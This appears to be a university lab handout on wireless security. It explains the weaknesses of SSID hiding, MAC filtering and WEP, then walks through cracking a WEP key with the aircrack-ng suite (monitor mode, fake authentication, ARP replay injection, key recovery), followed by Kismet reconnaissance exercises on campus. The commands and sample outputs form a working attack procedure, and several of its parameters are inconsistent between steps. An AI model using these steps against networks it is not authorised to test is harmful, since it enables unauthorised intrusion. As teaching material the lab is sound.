Wireless Security

Background and Theory:

Wireless Network Security

SSID Hiding

The broadcast properties of wireless technology make it vulnerable to a series of attacks. Snooping on a wireless network consists of using a laptop, a wireless card, and some software while being in transmission range of a wireless network. The service set identifier, or SSID, is the name of the wireless network and it can be used to gain access. Turning off SSID broadcasting means that no one can see it by using an auto find of networks. However, if you leave the default SSID unchanged; a hacker could try the common SSIDs and connect to your network if there is no other security on the network.

MAC Address Filtering

MAC address filtering can be used to increase the security of your network. It works by allowing only a set list of network cards to connect based upon their known MAC address, which should be unique for every device. However, MAC address can be captured by snooping and then spoofed which will then allow an attacker to gain access. Most wireless cards now allow MAC addresses to be changed, so this is does not adequately work as a security feature either.

WEP Encryption

If a user activates WEP, the wireless encrypts the payload (frame body and CRC) of each 802.11 frame before transmission using an RC4 stream cipher provided by RSA Security. The receiving station, such as an access point or another radio NIC, performs decryption upon arrival of the frame. As a result, 802.11 WEP only encrypts data between 802.11 stations. Once the frame enters the wired side of the network, such as between access points, WEP no longer applies. As part of the encryption process, WEP prepares a key schedule ("seed") by concatenating the shared secret key supplied by the user of the sending station with a random-generated 24-bit initialization vector (IV). The IV lengthens the life of the secret key because the station can change the IV for each frame transmission. WEP inputs the resulting "seed" into a pseudo-random number generator that produces a key stream equal to the length of the frame's payload plus a 32-bit integrity check value (ICV).

The ICV is a check sum that the receiving station eventually recalculates and compares to the one sent by the sending station to determine whether the transmitted data underwent any form of tampering while intransient. If the receiving station calculates an ICV that doesn't match the one found in the frame, then the receiving station can reject the frame or flag the user. WEP specifies a shared secret 40 or 64-bit key to encrypt and decrypt the data. Some vendors also include 128 bit keys (know as "WEP2") in their products. With WEP, the receiving station must use the same key for decryption. Each wireless card and access point, therefore, must be manually configured with the same key.

Before transmission takes place, WEP combines the keystream with the payload/ICV through a bitwise XOR process, which produces ciphertext (encrypted data). WEP includes the IV in the clear (unencrypted) within the first few bytes of the frame body. The receiving station uses this IV along with the shared secret key supplied by the user of the receiving station to decrypt the payload portion of the frame body.

In most cases the sending station will use a different IV for each frame (this is not required by the 802.11 standard). When transmitting messages having a common beginning, such as the "FROM" address in an e-mail, the beginning of each encrypted payload will be equivalent when using the same key. After encrypting the data, the beginnings of these frames would be the same, offering a pattern that can aid hackers in cracking the encryption algorithm. Since the IV is different for most frames, WEP guards against this type of attack. The frequent changing of IVs also improves the ability of WEP to safeguard against someone compromising the data.

WEP has been part of the 802.11 standard since initial ratification in September 1999. At that time, the 802.11 committee was aware of some WEP limitations; however, WEP was the best choice to ensure efficient implementations worldwide. Nevertheless, WEP has undergone much scrutiny and criticism over the past couple years. WEP is vulnerable because of relatively short IVs and keys that remain static. The issues with WEP don't really have much to do with the RC4 encryption algorithm. With only 24 bits, WEP eventually uses the same IV for different data packets. For a large busy network, this reoccurrence of IVs can happen within an hour or so. These results in the transmission of frames having key streams that is too similar. If a hacker collects enough frames based on the same IV, the individual can determine the shared values among them, i.e., the key stream or the shared secret key. This of course leads to the hacker decrypting any of the 802.11 frames.

The static nature of the shared secret keys emphasizes this problem. 802.11 don't provide any functions that support the exchange of keys among stations. As a result, system administrators and users generally use the same keys for weeks, months, and even years. This gives mischievous culprits plenty of time to monitor and hack into WEP-enabled networks. Due to this, WEP is very easily cracked. In 2005, a group from the U.S. Federal Bureau of Investigation gave a demonstration where they broke a WEP-protected network in 3 minutes using publicly available tools. We will perform some of these attacks.

One of the most basic attacks a hacker can perform once finding a wireless network is to identify the access point, AP, and check to see if the default settings are in use. A large number of home users, and some businesses, do not change their settings on their AP. Once the brand of the device is known, its default settings are easy to lookup on the Internet, as companies publish them so people can use their devices.

Equipment used

In this tutorial, here is what was used:

- MAC address of PC running aircrack-ng suite: ????????????
- BSSID (MAC address of access point): ???????????
- ESSID (Wireless network name): ???????
- Access point channel: ??????
- Wireless interface: ???????

NOTE: You will need to modify the info above to match that of the AP install in the wireless networks name. THIS IS NOT THE "Ariel University" AP!!!

Solution

Solution Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.

Once we have captured a large number of IVs, we can use them to determine the WEP key.

Here are the basic steps we will be going through:

1. Start the wireless interface in monitor mode on the specific AP channel
2. Test the injection capability of the wireless device to the AP
3. Use aireplay-ng to do a fake authentication with the access point
4. Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs
5. Start aireplay-ng in ARP request replay mode to inject packets
6. Run aircrack-ng to crack key using the IVs collected

Step 1 - Start the wireless interface in monitor mode on AP channel

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is mode whereby your card can listen to every packet in the air. Normally your card will only "hear" packets addressed to you. By hearing every packet, we can later select some for injection. As well, only (there are some rare exceptions) monitor mode allows you to inject packets. (Note: this procedure is different for non-Atheros cards.)

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

airmon-ng start wifi0 9

Substitute the channel number that your AP runs on for “9” in the command above. This is important. You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used. For other drivers, use the wireless interface name. Examples: “wlan0” or “rausb0”.

Step 2 - Test Wireless Device Packet Injection

The purpose of this step ensures that your card is within distance of your AP and can inject packets to it.

Enter:

```
 aireplay-ng -9 -e NetHD -a 00:1f:1f:78:11:70 mon0
```

Where:

- -9 means injection test
- -e NetHD is the wireless network name
- -a `00:1f:1f:78:11:70` is the access point MAC address
- mon0 is the wireless interface name

The system should respond with:

```
 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on
channel 9
 09:23:35  Trying broadcast probe requests...
 09:23:35  Injection is working!
 09:23:37  Found 1 AP

 09:23:37  Trying directed probe requests...
 09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power:
33.73
 09:23:39  30/30: 100%
```

The last line is important. Ideally it should say 100% or a very high percentage. If it is low then you are too far away from the AP or too close. If it is zero then injection is not working and you need to patch your drivers or use different drivers.

Step 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.

Open another console session to capture the generated IVs. Then enter:

```
 airodump-ng -c 11 --bssid 00:1f:1f:78:11:70 -w output mon0
```

Where:

- -c 9 is the channel for the wireless network
- --bssid `00:1f:1f:78:11:70` is the access point MAC address. This eliminate extraneous traffic.
- -w capture is file name prefix for the file which will contain the IVs.
- mon0 is the interface name.

While the injection is taking place (later), the screen will look similar to this:

```
 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC
CIPHER AUTH ESSID
```

Step 4 - Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in clear text. In this state, no new IVs are created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.

To associate with an access point, use fake authentication:

```
 aireplay-ng -1 0 -e NetHD -a 00:1f:1f:78:11:70-h ???????  mon0
```

Where:

- -1 means fake authentication
- 0 reassociation timing in seconds
- -e teddy is the wireless network name
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h ?????? is our card MAC address
- ath0 is the wireless interface name

Success looks like:

```
18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)
```

Or another variation for picky access points:

```
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h
00:0F:B5:88:AC:82 ath0
```

Where:

- 6000 - Reauthenticate every 6000 seconds. The long period also causes keep alive packets to be sent.
- -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
- -q 10 - Send keep alive packets every 10 seconds.

Success looks like:

```
18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.
```

Here is an example of what a failed authentication looks like:

```
8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request
```

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

Step 5 - Start aireplay-ng in ARP request replay mode

The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.

Open another console session and enter:

```
 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
```

It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it.

Here is what the screen looks like when ARP requests are being injected:

```
 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955
packets...
```

You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.

Step 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection arp request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ”--ivs” option.

Start another console session and enter:

```
 aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
```

Where:

- -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
- output*.cap selects all files starting with “output” and ending in ”.cap”.

To also use the FMS/Korek method, start another console session and enter:

```
 aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
```

Where:

- -K invokes the FMS/Korek method
- -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
- output*.cap selects all files starting with “output” and ending in ”.cap”.

If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Here is what success looks like:

```
                                                      Aircrack-ng 0.9


                                  [00:03:06] Tested 674449 keys (got
96610 IVs)

 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5)
77(   5) A5(   3) F6(   3) 03(   0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15)
E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15)
AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15)
4D(  15) 58(  15) 6A(  15) 7C(  15)

                         KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%
```

Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)

Know you University

Open Wireshark

1) Connect your laptop to one of the college APs
2) Recognize in the Wireshark the entire process (beacons/authentication/association)

Open Kismet and Wireshark (if you don’t have, install them)

Open terminal:

1) **Sudo ifconfig wlan1 down   (maybe it is not wlan1)**
2) **Sudo iwconfig wlan1 mode monitor**
3) **Sudo if config wlan1 up**

Open second terminal:

1) **Sudo kismet**
2) **Yes, yes, yes, wlan1**
3) **Check if the console writing any messages**

Open third terminal

1) **Sudo kismet and you can start working**

- Walk around the building and see how many APs around you
- Open you cellphone and check the APs list, is it the same?
- Look on the number of devices associate to each AP, can you recognize a load balancing method?
- How many channels the network is using?
- Can you try to locate via the kismet the real location of the APs?
- Open a session in your cellphone (or move to regular mode on your laptop) to www.youtube.com and see movie while walking around the building
    a. Did you notice any problems while watching the movie?
    b. Can you recognize roaming?
- Write a list of parameters that you can collect using the kismet?

- What if you have more than one antenna?
- Go inside and come back, do you have any connection problems?
- Write a list of cases when APs will discard/disable/remove a node from his association list?
- Ask all the members to connect their cellphone via AP and to watch movies, do you see any change in the network